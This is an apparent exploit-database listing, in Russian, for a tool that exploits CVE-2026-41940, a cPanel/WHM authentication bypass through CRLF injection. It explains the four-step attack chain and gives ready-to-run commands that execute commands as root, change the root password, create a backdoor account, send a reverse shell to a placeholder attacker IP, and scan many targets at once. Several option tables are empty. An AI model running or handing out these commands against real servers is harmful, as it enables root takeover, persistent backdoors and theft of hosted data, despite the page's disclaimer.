Sploitus

Exploit for CVE-2026-41940

kitploit · 2026-09-03

Exploit Code

MARKDOWN124 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KILL1234545-CVE-2026-41940
# CVE-2026-41940: Обход аутентификации cPanel/WHM (одиночная и множественная цель)

> **Дисклеймер:** Этот документ и связанный с ним скрипт (`exploit.py`) предоставлены строго в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

## Обзор

`exploit.py` — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel и WHM. Уязвимость позволяет неаутентифицированному атакующему внедрить root-сессию в кэш демона через дефект CRLF-инъекции, в конечном итоге предоставляя доступ к WHM на уровне root без необходимости действительных учетных данных.

## Анализ уязвимости и порядок эксплуатации

Эксплойт использует уязвимость CRLF-инъекции (возврат каретки и перевод строки) в механизме обработки базовой аутентификации (Basic Authentication) в сочетании с дефектом распространения сессии. Скрипт автоматизирует атаку в четыре этапа:

  1. **Пре-авторизационная генерация сессии:** подключается к публичным точкам входа (например, `/login/` или `/cgi/login.cgi`) для получения базовой неаутентифицированной сессионной cookie (`whostmgrsession`).
  2. **CRLF-инъекция:** отправляет специально сформированный заголовок Basic Authentication, содержащий полезную нагрузку в Base64, которая внедряет поля root-сессии напрямую в кэш сессий `cpsrvd`. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (`cpsess`).
  3. **Распространение сессии:** необработанная сессионная cookie отправляется на аутентифицированную конечную точку WHM, что вызывает `do_token_denied` для распространения поддельной сессии в кэш демона — превращая её в действительную аутентифицированную сессию.
  4. **Проверка:** обращается к ограниченным конечным точкам WHM API (например, `/json-api/version`) с использованием поддельной сессии для подтверждения доступа уровня root.



* * *

## Предварительные требования

  * Python 3.x
  * библиотека `requests`



root@kitploit:~
    
    
    pip install requests
    

* * *

## Использование

root@kitploit:~
    
    
    python exploit.py --target <URL> [options]
    python exploit.py --target-file <FILE> [options]
    

* * *

## Аргументы

### Выбор цели

Аргумент| Описание  
---|---  
`--target URL`| Один URL-адрес WHM (например, `https://target:2087`)  
`--target-file FILE`| Файл с целями (по одному `ip:port` в строке) — автоматически включает режим проверки  
  
### Сетевые и основные параметры

### Параметры эксплуатации (после обхода)

### Параметры вывода

Аргумент| Описание  
---|---  
`--output FILE`| Сохранить токен сессии и детали в JSON-файл  
  
* * *

## Примеры

root@kitploit:~
    
    
    # Проверить, уязвима ли цель
    python exploit.py --target https://target:2087 --check
    
    # Вывести информацию о сервере (версия, учётные записи, привилегии)
    python exploit.py --target https://target:2087 --dump
    
    # Сгенерировать root-URL для входа в один клик (вставить в браузер сразу)
    python exploit.py --target https://target:2087 --session
    
    # Выполнить команду
    python exploit.py --target https://target:2087 --exec "id"
    
    # Запустить интерактивную оболочку WHM
    python exploit.py --target https://target:2087 --shell
    
    # Изменить root-пароль
    python exploit.py --target https://target:2087 --password 'NewP@ss!'
    
    # Вызвать WHM API напрямую
    python exploit.py --target https://target:2087 --api version
    python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
    
    # Создать бэкдор-учётную запись cPanel
    python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
    
    # Отправить reverse shell
    python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
    
    # Переопределить имя хоста (используйте, если автоматическое обнаружение не срабатывает)
    python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
    
    # Сканировать несколько целей (режим только проверки)
    python exploit.py --target-file ips.txt
    python exploit.py --target-file ips.txt --threads 20
    
    # Сохранить сессию в файл
    python exploit.py --target https://target:2087 --dump --output results.json
    

* * *

## Команды интерактивной оболочки

При использовании `--shell` доступны следующие команды:

* * *

## Напоминание

Немедленно установите последние обновления безопасности cPanel/WHM.